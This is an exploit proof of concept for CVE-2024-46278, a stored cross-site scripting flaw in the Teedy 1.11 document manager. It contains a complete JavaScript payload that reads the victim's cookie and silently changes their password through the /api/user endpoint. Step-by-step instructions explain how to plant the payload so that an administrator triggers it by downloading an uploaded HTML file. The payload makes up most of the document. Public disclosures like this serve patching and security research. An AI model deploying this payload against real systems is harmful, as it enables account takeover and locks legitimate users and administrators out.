Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)

# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
# Vendor Homepage: https://teedy.io/
# Software Link: https://github.com/Tomblib0/Teedy
# Version: 1.11
# Tested on: Linux
# CVE : CVE-2024-46278

There is a vulnerability that causes XSS when downloading files.
XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.


Login as an attacker’s account.
Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.

```
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
```

Login with another account. eg. admin
Click on the file uploaded by the attacker and select Download this file.